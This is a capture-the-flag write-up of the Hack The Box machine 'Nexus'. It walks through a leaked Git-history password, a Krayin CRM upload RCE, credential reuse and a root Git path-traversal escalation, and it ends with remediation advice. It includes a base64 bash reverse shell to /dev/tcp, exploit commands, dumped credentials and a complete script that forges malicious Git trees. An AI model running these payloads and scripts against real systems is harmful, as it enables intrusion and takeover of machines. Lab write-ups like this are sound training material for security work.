HTB: Nexus
Nexus is an easy Linux machine featuring a Gitea instance that leaks a legacy password in its commit history, a Krayin CRM login vulnerable to authenticated RCE via TinyMCE uploads (CVE-2026-38526) for a foothold as www-data, reused .env credentials to pivot to jones, and a root-run Gitea template-sync script whose unsanitized os.path.join enables a Git path-traversal write to root's authorized_keys.
TL;DR#
IPs#
Hack The Box uses dynamic IP addresses. I will use 10.129.94.8 for Nexus and 10.10.4.4 for my Kali throughout this writeup, please change them to your own IPs.
Kill Chain#
Gitea Git-History Leak ➜ Krayin CRM
2.2.0Authenticated RCE: CVE-2026-38526 (TinyMCE upload) ➜ www-data ➜ Password Reuse (.env) ➜ jones ➜ Gitea Template-Syncos.path.joinPath Traversal (CWE-22) ➜ root
Reconnaissance & Enumeration#
TCP Scan: nmap#
My nmap scan lists two open TCP ports, 22/ssh and 80/http running nginx 1.24.0, plus a handful of high filtered ports:
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus]
└─$ nmap -sC -sV -p- --min-rate 10000 10.129.94.8 -oA nexus_nmap
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-22 19:39 +0000
Warning: 10.129.94.8 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.94.8
Host is up (0.14s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nexus.htb/
28862/tcp filtered unknown
43296/tcp filtered unknown
44239/tcp filtered unknown
55601/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.09 secondsnmap — cheatsheet reference
-sCruns the default script scan,-sVdetects service versions,-p-scans all 65535 ports, and--min-rate 10000pushes packets fast.
Port 80/http refuses to serve on the bare IP and instead points at the vhost nexus.htb, so I map it in my /etc/hosts:
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus]
└─$ echo "10.129.94.8 nexus.htb" | sudo tee -a /etc/hosts
10.129.94.8 nexus.htbWebsite: nexus.htb#
Browsing http://nexus.htb lands on a corporate, government-backed energy provider landing page. There is nothing dynamic to attack on the front page, but the careers section hosts a job posting for Operations Specialist – Customer Platforms. The listing asks candidates to submit their documents to two addresses, leaking a real employee handle:
careers@nexus.htbj.matthew@nexus.htb(the hiring manager)
That second address is my first candidate username.
Content Discovery: feroxbuster#
feroxbuster against the root vhost finds nothing beyond the index page, so the interesting surface must live elsewhere:
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus]
└─$ feroxbuster -u http://nexus.htb
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://nexus.htb/
🚩 In-Scope Url │ nexus.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/feroxbuster/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 1267l 3775w 49296c http://nexus.htb/
[####################] - 70s 30000/30000 0s found:1 errors:2
[####################] - 70s 30000/30000 431/s http://nexus.htb/Subdomain Fuzzing: ffuf#
Since the front page is a dead end, I fuzz for virtual hosts with ffuf, matching every status code and auto-calibrating false positives:
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus]
└─$ ffuf -u http://nexus.htb -H "Host: FUZZ.nexus.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://nexus.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.nexus.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
________________________________________________
git [Status: 200, Size: 14474, Words: 1195, Lines: 242, Duration: 133ms]
billing [Status: 302, Size: 390, Words: 60, Lines: 12, Duration: 2460ms]
:: Progress: [19966/19966] :: Job [1/1] :: 315 req/sec :: Duration: [0:00:58] :: Errors: 0 ::ffuf — cheatsheet reference
seclists — cheatsheet reference
-H "Host: FUZZ.nexus.htb"fuzzes theHostheader,-mc allmatches every response code, and-acauto-calibrates to drop the wildcard noise.
Two new vhosts: git.nexus.htb (a 200) and billing.nexus.htb (a 302 redirect). I add both to my /etc/hosts:
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus]
└─$ echo "10.129.94.8 nexus.htb git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts
10.129.94.8 nexus.htb git.nexus.htb billing.nexus.htbGitea: git.nexus.htb#
http://git.nexus.htb hosts a self-hosted Gitea 1.26.0 instance with public, unauthenticated repository browsing. One of the exposed repositories is krayin-docker-setup, a deployment helper that committed its .env into version control.
The current .env is scrubbed, but Git never forgets. Walking the commit history I find an earlier commit (9b817fa) where a later “cleanup” commit tried to blank the database password — the value is still sitting in the diff:
commit 9b817fa4e0 — "cleanup env before publishing"
--- a/.env
+++ b/.env
-DB_PASSWORD=N27xh!!2ucY04
+DB_PASSWORD=
- Leaked password:
N27xh!!2ucY04
Pairing that with the OSINT handle from the careers page gives me a full credential candidate: j.matthew@nexus.htb : N27xh!!2ucY04.
Initial Foothold#
Krayin CRM 2.2.0: billing.nexus.htb#
The billing vhost redirects into an instance of Krayin CRM, an open-source Laravel-based CRM. The login page and footer advertise version 2.2.0. The leaked pair authenticates cleanly into the admin dashboard:
- Username:
j.matthew@nexus.htb - Password:
N27xh!!2ucY04
Authenticated RCE: CVE-2026-38526#
Krayin CRM 2.2.0 is vulnerable to CVE-2026-38526, an authenticated remote code execution via the TinyMCE media upload endpoint. The handler at /admin/tinymce/upload fails to validate the file extension or MIME type, so an authenticated user can drop a .php file straight into the web-served storage/.../tinymce/ directory and execute it by requesting its URL.
There is a public PoC by NathanHimself that automates login, upload and trigger. I clone it and read the usage:
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus]
└─$ git clone https://github.com/NathanHimself/CVE-2026-38526-PoC
Cloning into 'CVE-2026-38526-PoC'...
remote: Enumerating objects: 15, done.
remote: Counting objects: 100% (15/15), done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 15 (delta 2), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (15/15), 6.58 KiB | 6.58 MiB/s, done.
Resolving deltas: 100% (2/2), done.
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus]
└─$ cd CVE-2026-38526-PoC
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus/CVE-2026-38526-PoC]
└─$ python3 exploit.py -h
usage: exploit.py [-h] -t T -u U -p P -c C
CVE-2026-38526 PoC - Krayin CRM RCE
options:
-h, --help show this help message and exit
-t T Target URL (e.g. http://krayin.example.com)
-u U Username/email
-p P Password
-c C Command to execute
Example:
python3 exploit.py -t http://krayin.example.com -u admin@example.com -p password123 -c id
Note: Do not include a trailing slash in the URL.rce — cheatsheet reference
First I confirm code execution with a simple id:
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus/CVE-2026-38526-PoC]
└─$ python3 exploit.py -t http://billing.nexus.htb -u j.matthew@nexus.htb -p 'N27xh!!2ucY04' -c id
uid=33(www-data) gid=33(www-data) groups=33(www-data)RCE as www-data, confirmed.
Reverse Shell: www-data#
A raw reverse-shell one-liner packed with >&, / and spaces gets mangled by the layers of shell quoting between my terminal, the PoC and PHP’s system(). The clean fix is to Base64-encode the payload so nothing but A–Z a–z 0–9 + / = ever crosses those boundaries, then decode-and-pipe on the target:
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus/CVE-2026-38526-PoC]
└─$ echo -n 'bash -i >& /dev/tcp/10.10.4.4/443 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC40LjQvNDQzIDA+JjE=reverse-shell — cheatsheet reference
I start a listener, wrapping nc in rlwrap so the caught shell has history and line editing:
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus]
└─$ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...netcat — cheatsheet reference
Then I fire the encoded payload through the PoC’s -c command:
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus/CVE-2026-38526-PoC]
└─$ python3 exploit.py -t http://billing.nexus.htb -u j.matthew@nexus.htb -p 'N27xh!!2ucY04' -c "echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC40LjQvNDQzIDA+JjE=' | base64 -d | bash"The listener catches the callback as www-data:
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus]
└─$ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.4.4] from (UNKNOWN) [10.129.94.8] 48446
bash: cannot set terminal process group (1436): Inappropriate ioctl for device
bash: no job control in this shell
www-data@nexus:~/krayin/storage/app/public/tinymce$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)netcat — cheatsheet reference
Shell Upgrade#
The nc catch is fragile, so I upgrade it to a real PTY — spawn one with Python, background with Ctrl-Z, fix my local terminal, foreground it, and set a sane TERM and window size so su, sudo and full-screen tools behave:
www-data@nexus:~/krayin/storage/app/public/tinymce$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@nexus:~/krayin/storage/app/public/tinymce$ ^Z
zsh: suspended rlwrap -cAr nc -nlvp 443
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus]
└─$ stty raw -echo; fg
[1] + continued rlwrap -cAr nc -nlvp 443
www-data@nexus:~/krayin/storage/app/public/tinymce$ export TERM=xterm-256color; stty rows 50 cols 200netcat — cheatsheet reference
pty-upgrade — cheatsheet reference
Lateral Movement#
Credential Harvesting: .env#
The shell drops me right inside the Krayin webroot at ~/krayin (/var/www/krayin). Laravel keeps its live secrets in .env, so I read it in full:
www-data@nexus:~/krayin$ cat .env
APP_NAME="Krayin CRM"
APP_ENV=local
APP_KEY=base64:n4swv+4YcBtCr1OPHBe69GxK06/X1y1vCQU1SIMIC7Q=
APP_DEBUG=true
APP_URL=http://billing.nexus.htb
APP_TIMEZONE=Asia/Kolkata
APP_LOCALE=en
APP_CURRENCY=USD
VITE_HOST=
VITE_PORT=
LOG_CHANNEL=stack
LOG_LEVEL=debug
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR
DB_PREFIX=
BROADCAST_DRIVER=log
CACHE_DRIVER=file
QUEUE_CONNECTION=sync
SESSION_DRIVER=file
SESSION_LIFETIME=120
MEMCACHED_HOST=127.0.0.1
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379
MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS=laravel@krayincrm.com
MAIL_FROM_NAME="${APP_NAME}"
MAIL_DOMAIN=webkul.com
MAIL_RECEIVER_DRIVER=sendgrid
IMAP_HOST=imap.example.com
IMAP_PORT=993
IMAP_ENCRYPTION=ssl
IMAP_VALIDATE_CERT=true
IMAP_USERNAME=your_username
IMAP_PASSWORD=your_password
AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=
PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1
MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"- Database password:
y27xb3ha!!74GbR
Password Reuse: jones#
Checking /home, there is exactly one interactive local user besides git:
www-data@nexus:~/krayin$ ls -al /home
total 16
drwxr-xr-x 4 root root 4096 May 12 12:06 .
drwxr-xr-x 23 root root 4096 May 12 12:06 ..
drwxr-x--- 2 git git 4096 May 12 12:27 git
drwxr-x--- 3 jones jones 4096 May 12 12:26 jonesThe database password is reused as jones’s login password — classic credential reuse — so I su straight across:
www-data@nexus:~/krayin$ su - jones
Password: y27xb3ha!!74GbR
jones@nexus:~$ id
uid=1000(jones) gid=1000(jones) groups=1000(jones),100(users)The same credentials also work over SSH, which gives me a stabler session to work from:
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus]
└─$ ssh jones@nexus.htb
jones@nexus.htb's password: y27xb3ha!!74GbR
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)
jones@nexus:~$ id
uid=1000(jones) gid=1000(jones) groups=1000(jones),100(users)User Flag#
I grab the user flag from jones’s home:
jones@nexus:~$ cat user.txt
155922f5e31f2cc7649cf17e80366e75Privilege Escalation#
Local Enumeration#
jones has no sudo rights (sudo -l refuses), so I look at what is listening locally. netstat shows a service bound to 127.0.0.1:3000 — the internal Gitea backend that git.nexus.htb proxies:
jones@nexus:~$ netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.54:53 0.0.0.0:* -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* - Enumerating Gitea’s supporting files, I find a custom administrative script that is world-readable, and the systemd units that drive it:
jones@nexus:~$ cat /etc/systemd/system/gitea-template-sync.service
[Unit]
Description=Sync Gitea templates
After=network-online.target
[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s
jones@nexus:~$ systemctl list-timers
NEXT LEFT UNIT ACTIVATES
Sat 2026-08-22 20:16:00 UTC 47s gitea-template-sync.timer gitea-template-sync.serviceSo root runs /etc/gitea/template-sync.py on a timer that fires roughly every minute. I read the whole script:
jones@nexus:~$ cat /etc/gitea/template-sync.py
import os
import sys
import json
import subprocess
import time
import urllib.request
GITEA_URL = "http://localhost:3000"
REPO_ROOT = "/var/lib/gitea/data/gitea-repositories"
STAGING_DIR = "/home/git/template-staging"
LOG_FILE = "/var/log/template-sync.log"
def log(msg):
ts = time.strftime("%Y-%m-%d %H:%M:%S")
line = "[%s] %s" % (ts, msg)
print(line, flush=True)
try:
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
with open(LOG_FILE, 'a') as f:
f.write(line + '\n')
except:
pass
def load_config():
config = {}
for path in ['/etc/gitea/template-sync.conf', '/opt/forge/app/.env']:
try:
with open(path) as f:
for line in f:
line = line.strip()
if line and not line.startswith('#') and '=' in line:
k, v = line.split('=', 1)
config[k.strip()] = v.strip()
except:
pass
return config
def get_token():
cfg = load_config()
return cfg.get('GITEA_API_TOKEN')
def get_template_repos(token):
url = "%s/api/v1/repos/search?limit=50" % GITEA_URL
req = urllib.request.Request(url, headers={
'Authorization': 'token %s' % token
})
try:
with urllib.request.urlopen(req) as resp:
data = json.loads(resp.read())
repos = data.get('data', data) if isinstance(data, dict) else data
return [r for r in repos if r.get('template', False)]
except Exception as e:
log("API error: %s" % e)
return []
def sync_template(repo_info):
owner = repo_info['owner']['login']
name = repo_info['name'].lower()
bare_path = os.path.join(REPO_ROOT, owner, "%s.git" % name)
stage_path = os.path.join(STAGING_DIR, owner, name)
if not os.path.isdir(bare_path):
log(" repo not found: %s" % bare_path)
return
# Read tree entries from the bare repository
try:
GIT = ['git', '-c', 'safe.directory=*']
result = subprocess.run(
GIT + ['ls-tree', '-r', 'HEAD'],
cwd=bare_path,
capture_output=True, text=True, timeout=10
)
if result.returncode != 0:
log(" ls-tree failed: %s" % result.stderr.strip())
return
except Exception as e:
log(" ls-tree error: %s" % e)
return
entries = []
for line in result.stdout.strip().split('\n'):
if not line:
continue
parts = line.split('\t', 1)
if len(parts) != 2:
continue
meta, filepath = parts
mode, objtype, objhash = meta.split()
if objtype == 'blob':
entries.append((mode, objhash, filepath))
if not entries:
log(" no files in template")
return
# Extract files to staging directory
for mode, objhash, filepath in entries:
target = os.path.join(stage_path, filepath)
target_dir = os.path.dirname(target)
try:
os.makedirs(target_dir, exist_ok=True)
GIT = ['git', '-c', 'safe.directory=*']
cat_result = subprocess.run(
GIT + ['cat-file', 'blob', objhash],
cwd=bare_path,
capture_output=True, timeout=10
)
if cat_result.returncode != 0:
continue
with open(target, 'wb') as f:
f.write(cat_result.stdout)
if mode == '100755':
os.chmod(target, 0o755)
else:
os.chmod(target, 0o644)
log(" synced: %s" % filepath)
except Exception as e:
log(" error syncing %s: %s" % (filepath, e))
def main():
log("Template sync starting")
token = get_token()
if not token:
log("No API token found")
sys.exit(1)
templates = get_template_repos(token)
log("Found %d template repo(s)" % len(templates))
for repo in templates:
name = repo['full_name']
log("Syncing template: %s" % name)
sync_template(repo)
log("Template sync complete")
if __name__ == '__main__':
main()The Vulnerability: os.path.join Path Traversal (CWE-22)#
The script asks the Gitea API for every repository flagged as a Template, lists its tree with git ls-tree -r HEAD, and writes each blob to disk with:
target = os.path.join(stage_path, filepath)filepath comes straight out of git ls-tree with no sanitization, and Python’s os.path.join has a dangerous quirk — the moment any component is an absolute-looking or traversal path, it discards everything before it. A tree entry named ../../../../../root/.ssh/authorized_keys therefore escapes stage_path entirely, and because the interpreter runs as root it will happily write and chmod that file. The staging path is /home/git/template-staging/<owner>/<repo>/, so five ../ hops land me squarely in /root/.
Forging Raw Git Objects#
The catch is getting a ../ path into the tree in the first place. The Git CLI runs verify_path() on every entry and rejects traversal outright:
jones@nexus:~/shadowcat$ tree_hash=$(printf "100644 blob $git_hash\t/root/.ssh/authorized_keys\n" | git mktree)
fatal: path /root/.ssh/authorized_keys contains slashSo I bypass the porcelain entirely and write the object database by hand. First I generate a keypair for jones — its public half is what I want planted in root’s authorized_keys:
jones@nexus:~$ ssh-keygen -t rsa -N ""
Generating public/private rsa key pair.
Enter file in which to save the key (/home/jones/.ssh/id_rsa):
Created directory '/home/jones/.ssh'.
Your identification has been saved in /home/jones/.ssh/id_rsa
Your public key has been saved in /home/jones/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:yMamKMsrgu7ORk0LSYy8EqELlsqEwtzzwdbj2eQlrzo jones@nexusThen I write a small forge script, shadowcat.py. It computes each Git object’s SHA-1, zlib-compresses it and drops it directly into .git/objects/, building the malicious tree from the bottom up (authorized_keys → .ssh → root → four chained .. trees) so the final path resolves to ../../../../../root/.ssh/authorized_keys — never touching git mktree or its filters:
#!/usr/bin/env python3
import hashlib
import zlib
import os
import sys
import time
def write_obj(data, t):
# Format the git header: "type length\x00content"
header = ("%s %d" % (t, len(data))).encode() + b"\x00"
full_content = header + data
# Calculate the SHA-1 checksum of the object
sha = hashlib.sha1(full_content).hexdigest()
# Determine the directory path inside .git/objects/
dir_path = os.path.join(".git", "objects", sha[:2])
os.makedirs(dir_path, exist_ok=True)
file_path = os.path.join(dir_path, sha[2:])
if not os.path.exists(file_path):
# Compress with zlib and write directly to disk, bypassing git CLI validation
with open(file_path, "wb") as f:
f.write(zlib.compress(full_content))
return sha
def entry(mode, name, sha):
# Binary tree entry: "mode name\x00[20-byte binary SHA]"
return ("%s %s" % (mode, name)).encode() + b"\x00" + bytes.fromhex(sha)
if not os.path.isdir(".git"):
print("[-] Error: Run this script inside your git repository (~/shadowcat)!")
sys.exit(1)
# Read the existing public key of the local user
ssh_key_path = os.path.expanduser("~/.ssh/id_rsa.pub")
try:
with open(ssh_key_path, "r") as f:
key = f.read().strip() + "\n"
except Exception as e:
print(f"[-] Error reading SSH key: {e}")
sys.exit(1)
print("[+] Reading local public key...")
# 1. Create the file blobs
blob = write_obj(key.encode(), "blob")
readme = write_obj(b"# Template Exploit\n", "blob")
# 2. Build the tree from the bottom up (authorized_keys -> .ssh -> root -> .. -> ..)
ssh_t = write_obj(entry("100644", "authorized_keys", blob), "tree")
cur = write_obj(entry("40000", ".ssh", ssh_t), "tree")
fir = write_obj(entry("40000", "root", cur), "tree")
# Chain four dot-dot traversal directories
for i in range(4):
fir = write_obj(entry("40000", "..", fir), "tree")
# Merge README.md and the traversal structure into the root tree
root = write_obj(entry("100644", "README.md", readme) + entry("40000", "..", fir), "tree")
# 3. Create the commit object
ts = int(time.time())
commit_content = "tree %s\nauthor jones <jones@nexus.htb> %d +0000\ncommitter jones <jones@nexus.htb> %d +0000\n\nRoot Exploit\n" % (root, ts, ts)
commit_sha = write_obj(commit_content.encode(), "commit")
# 4. Point master at the forged commit
os.makedirs(os.path.join(".git", "refs", "heads"), exist_ok=True)
with open(os.path.join(".git", "refs", "heads", "master"), "w") as f:
f.write(commit_sha + "\n")
print("[+] Successfully forged malformed Git commit: %s" % commit_sha)
print("[+] Ready to push upstream!")Triggering the Sync: root#
Over in the Gitea web UI I log in as jones (the reused password works there too), create a new empty repository named shadowcat, and flip it to a Template in the repo settings so the root sync service will select it. Then I initialise a local repo, run the forge script, and force-push the malformed tree straight at the internal Gitea backend on the loopback:
jones@nexus:~$ mkdir shadowcat && cd shadowcat
jones@nexus:~/shadowcat$ git init
Initialized empty Git repository in /home/jones/shadowcat/.git/
jones@nexus:~/shadowcat$ git config user.name "jones"
jones@nexus:~/shadowcat$ git config user.email "jones@nexus.htb"
jones@nexus:~/shadowcat$ python3 shadowcat.py
[+] Reading local public key...
[+] Successfully forged malformed Git commit: 292463c186c2828b43c862ef93e4a31a99ef67a1
[+] Ready to push upstream!
jones@nexus:~/shadowcat$ git remote add origin http://127.0.0.1:3000/jones/shadowcat.git
jones@nexus:~/shadowcat$ git push origin master --force
Username for 'http://127.0.0.1:3000': jones
Password for 'http://jones@127.0.0.1:3000':
warning: unable to access '../../../../../root/.gitattributes': Permission denied
warning: unable to access '../../../../../root/.ssh/.gitattributes': Permission denied
Enumerating objects: 11, done.
Counting objects: 100% (11/11), done.
Delta compression using up to 2 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (11/11), 1013 bytes | 253.00 KiB/s, done.
Total 11 (delta 0), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://127.0.0.1:3000/jones/shadowcat.git
* [new branch] master -> masterThe warning: unable to access '../../../../../root/...' lines are Git itself trying to walk the traversal path — proof the malformed tree survived the push. On the next timer tick the root sync service reads my template, resolves the traversal, and writes my public key into /root/.ssh/authorized_keys. I confirm it by logging in over the loopback with the matching private key:
jones@nexus:~/shadowcat$ ssh -i ~/.ssh/id_rsa root@127.0.0.1
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)
root@nexus:~# id
uid=0(root) gid=0(root) groups=0(root)Root Flag#
Nexus is pwned, and I capture the root flag:
root@nexus:~# cat root.txt
f99fcc20265ab5881daba5595876eaabPwned#
Vulnerabilities#
Beyond root, let me summarize which vulnerabilities I found and used on Nexus:
Vulnerabilities Summary#
| Vulnerability | CVE / CWE | Severity | Root Cause | Real-World Impact |
|---|---|---|---|---|
| Secrets in Git History | CWE-538 | High | A committed .env was “cleaned” in a later commit, but the legacy DB_PASSWORD stays readable in the public Gitea commit diff. | An unauthenticated visitor recovers a valid password by walking commit history. |
| Krayin CRM Authenticated RCE | CVE-2026-38526 | Critical | The /admin/tinymce/upload endpoint does not validate file extension or MIME type, allowing a .php upload into a web-served directory. | Any authenticated CRM user runs arbitrary code as www-data. |
| Password Reuse | CWE-521 | High | The Krayin database password in .env is reused for the local jones account and the Gitea login. | Horizontal movement from www-data to user jones and into Gitea. |
| Unsanitized os.path.join Path Traversal | CWE-22 | Critical | The root template-sync script joins unsanitized git ls-tree paths with os.path.join, which discards the staging prefix on a ../ component. | A crafted repository writes attacker-controlled files anywhere as root, yielding full compromise. |
Remediation#
If I were the owner of Nexus, these are the quick steps I would take to break the whole Kill Chain:
Purge Secrets from Git History (CWE-538)#
Rotating the leaked password is not enough. The secret lives in every clone. Rewrite history to remove it, force-push, and rotate the credential everywhere it was used:
git filter-repo --path .env --invert-paths
# rotate the DB password afterwards, it must be considered burnedPatch Krayin CRM (CVE-2026-38526)#
Upgrade Krayin CRM past 2.2.0 to a release that enforces strict extension and MIME allowlisting on the TinyMCE upload handler, so .php files can never be stored in a web-served path:
composer update krayin/laravel-crmStop Reusing Credentials (CWE-521)#
Give the database, the jones shell account and the Gitea user distinct, strong secrets, and prefer a secrets manager over a plaintext .env:
sudo passwd jonesSanitize the Template-Sync Paths (CWE-22)#
The root cause is trusting git ls-tree output as a safe path. Normalize each entry and refuse anything that escapes the staging directory before writing:
target = os.path.realpath(os.path.join(stage_path, filepath))
if not target.startswith(os.path.realpath(stage_path) + os.sep):
log(" refusing traversal path: %s" % filepath)
continueRunning the sync service as an unprivileged, sandboxed user (not root) would also contain the damage even if a traversal slipped through.

